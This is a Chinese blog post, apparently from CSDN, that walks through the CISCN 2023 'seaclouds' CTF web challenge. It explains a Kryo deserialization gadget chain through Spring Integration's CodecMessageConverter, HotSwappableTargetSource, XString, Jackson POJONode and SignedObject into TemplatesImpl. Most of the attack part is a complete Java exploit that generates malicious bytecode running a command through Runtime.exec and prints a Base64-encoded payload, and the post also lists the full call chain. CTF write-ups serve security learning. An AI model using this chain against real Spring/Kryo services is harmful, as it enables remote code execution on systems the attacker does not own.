• 【Web】记录CISCN 2023 西南半决赛 seaclouds题目复现


    目录

    原理速览

    构造细节

    EXP


    原理速览

    在Spring依赖下,可以触发jackson的BaseJsonNode#toString,从而调用getter,而后为所欲为

    【Web】浅聊Jackson序列化getter的利用——POJONode_jackson 序列化时指定get方法

    【Web】浅聊Java反序列化之Rome——关于其他利用链

    至于如何调用toString,对于原生反序列化,走BadAttributeValueExpException最为方便,对于Field型的非原生反序列化, 如果对于Map的反序列化过程有类似HashMap#put的实现,就可以考虑HotSwappableTargetSource利用链

    【Web】关于Java反序列化那些实现机制的朴素通识

    而本题用的是kyro进行非原生反序列化,并且有上述后者的实现机制,就可以用HotSwappableTargetSource链来打,调用getter后再选择SignedObject打二次反序列化

    构造细节

    拿到源码似乎并没有直接给出反序列化入口,也没有看到waf

    可以做文章的也就是最后return的代码

    先是初始化了一个CodecMessageConverter对象,传入了codec为MessageCodec,并默认设置messageClass为GenericMessage.class

    简单搜索关于CodecMessageConverter,再结合源码里给到的fromMessage和toMessage方法,不难理解其序列化和反序列化的功能

     

    实例化完毕后接着再调用其toMessage方法

    Message decoded = (Message)this.codec.decode((byte[])((byte[])payload), this.messageClass);
    这里,代码尝试将 byte[] 类型的 payload 解码成一个 Message 对象。这个操作依赖于一个编解码器 codec,可能涉及从二进制数据到一个特定的消息对象的转换。this.messageClass 提供了目标消息的类信息,用于解码过程中确定具体的消息类型。

    这里指定了解码的类型为this.messageClass(GenericMessage),所以后面构造的时候要用GenericMessage将payload封装起来(显然不影响HashMap的属性被put)

    1. GenericMessage genericMessage = new GenericMessage(hashMap);
    2. byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
    3. System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(decodemsg), "UTF-8"));

    最后的最后,题目调用了getPayload(),这个方法是GenericMessage类的,这也印证了我们反序列化得到的结果是个GenericMessage对象

    EXP

    1. package com.sea;
    2. import com.fasterxml.jackson.databind.node.POJONode;
    3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    4. import com.sun.org.apache.xpath.internal.objects.XString;
    5. import javassist.ClassPool;
    6. import javassist.CtClass;
    7. import javassist.CtConstructor;
    8. import javassist.CtNewConstructor;
    9. import org.springframework.aop.target.HotSwappableTargetSource;
    10. import org.springframework.integration.codec.CodecMessageConverter;
    11. import org.springframework.integration.codec.kryo.MessageCodec;
    12. import org.springframework.messaging.Message;
    13. import org.springframework.messaging.MessageHeaders;
    14. import org.springframework.messaging.support.GenericMessage;
    15. import javax.management.BadAttributeValueExpException;
    16. import java.lang.reflect.Array;
    17. import java.lang.reflect.Constructor;
    18. import java.lang.reflect.Field;
    19. import java.net.URLEncoder;
    20. import java.security.*;
    21. import java.util.Base64;
    22. import java.util.HashMap;
    23. public class EXP {
    24. public static void main(String[] args) throws Exception {
    25. // 二次反序列化 BadAttributeValueExpException -> POJONode -> TemplatesImpl
    26. ClassPool pool = ClassPool.getDefault();
    27. CtClass ctClass = pool.makeClass("Evil");
    28. ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
    29. CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec(\"calc\");}", ctClass);
    30. ctClass.addConstructor(ctConstructor);
    31. byte[] byteCode = ctClass.toBytecode();
    32. TemplatesImpl templates = new TemplatesImpl();
    33. setFieldValue(templates, "_name", "whatever");
    34. setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});
    35. POJONode pojoNode1 = new POJONode(templates);
    36. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("whatever");
    37. setFieldValue(badAttributeValueExpException, "val", pojoNode1);
    38. // 一次反序列化 HotSwappableTargetSource -> XString -> POJONode -> SignedObject
    39. // 初始化 SignedObject
    40. KeyPairGenerator keyPairGenerator;
    41. keyPairGenerator = KeyPairGenerator.getInstance("DSA");
    42. keyPairGenerator.initialize(1024);
    43. KeyPair keyPair = keyPairGenerator.genKeyPair();
    44. PrivateKey privateKey = keyPair.getPrivate();
    45. Signature signingEngine = Signature.getInstance("DSA");
    46. // 设置二次反序列化入口
    47. SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);
    48. POJONode pojoNode2 = new POJONode(signedObject);
    49. HotSwappableTargetSource h1 = new HotSwappableTargetSource(pojoNode2);
    50. HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("whatever"));
    51. // 手动构造 HashMap 以防触发正向利用链
    52. HashMap hashMap = new HashMap();
    53. setFieldValue(hashMap, "size", 2);
    54. Class nodeC;
    55. nodeC = Class.forName("java.util.HashMap$Node");
    56. Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
    57. nodeCons.setAccessible(true);
    58. Object tbl = Array.newInstance(nodeC, 2);
    59. Array.set(tbl, 0, nodeCons.newInstance(0, h1, "whatever", null));
    60. Array.set(tbl, 1, nodeCons.newInstance(0, h2, "whatever", null));
    61. setFieldValue(hashMap, "table", tbl);
    62. CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
    63. // 序列化
    64. GenericMessage genericMessage = new GenericMessage(hashMap);
    65. byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
    66. System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(decodemsg), "UTF-8"));
    67. // 反序列化
    68. Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);
    69. messagecode.getPayload();
    70. }
    71. public static void setFieldValue(Object obj, String name, Object value) throws Exception {
    72. Field field = obj.getClass().getDeclaredField(name);
    73. field.setAccessible(true);
    74. field.set(obj, value);
    75. }
    76. }

    利用链

    1. CodecMessageConverter
    2. -> toMessage(decodemsg, ...)
    3. this.codec.decode(decodemsg, ...)
    4. AbstractKryoCodec
    5. -> decode(decodemsg, ...)
    6. PojoCodec
    7. -> doDecode(...)
    8. Kryo
    9. -> readObject(...)
    10. MapSerializer
    11. -> read(...)
    12. Map#put(hotSwappableTargetSource, ...)
    13. HotSwappableTargetSource
    14. -> equals(...)
    15. XString
    16. -> equals(pojoNode)
    17. BaseJsonNode
    18. -> toString()
    19. InternalNodeMapper#nodeToString(this)
    20. SignedObject
    21. -> getObject()
    22. a.readObject()
    23. BadAttributeValueExpException
    24. -> readObject()
    25. valObj.toString()
    26. BaseJsonNode
    27. -> toString()
    28. InternalNodeMapper#nodeToString(this)
    29. TemplatesImpl
    30. -> getOutputProperties()
    31. ...
  • 相关阅读:
    【Xshell】ssh连接卡在To escape to local shell, press ‘Ctrl+Alt+]‘处理办法[亲测好使]
    自定义类型(结构体、枚举、联合)
    C++实现彩色bmp图片转灰度图
    Python时间模块之time模块
    JavaScript设计模式(四)——策略模式、代理模式、观察者模式
    计算机毕业设计ssm+vue基本微信小程序的校园二手商城系统
    zabbix-agent主动模式下自定义监控项和监控指标
    10_13C++
    【电源专题】LDO基础——电流限制
    架构中的“大象”
  • 原文地址:https://blog.csdn.net/uuzeray/article/details/138199481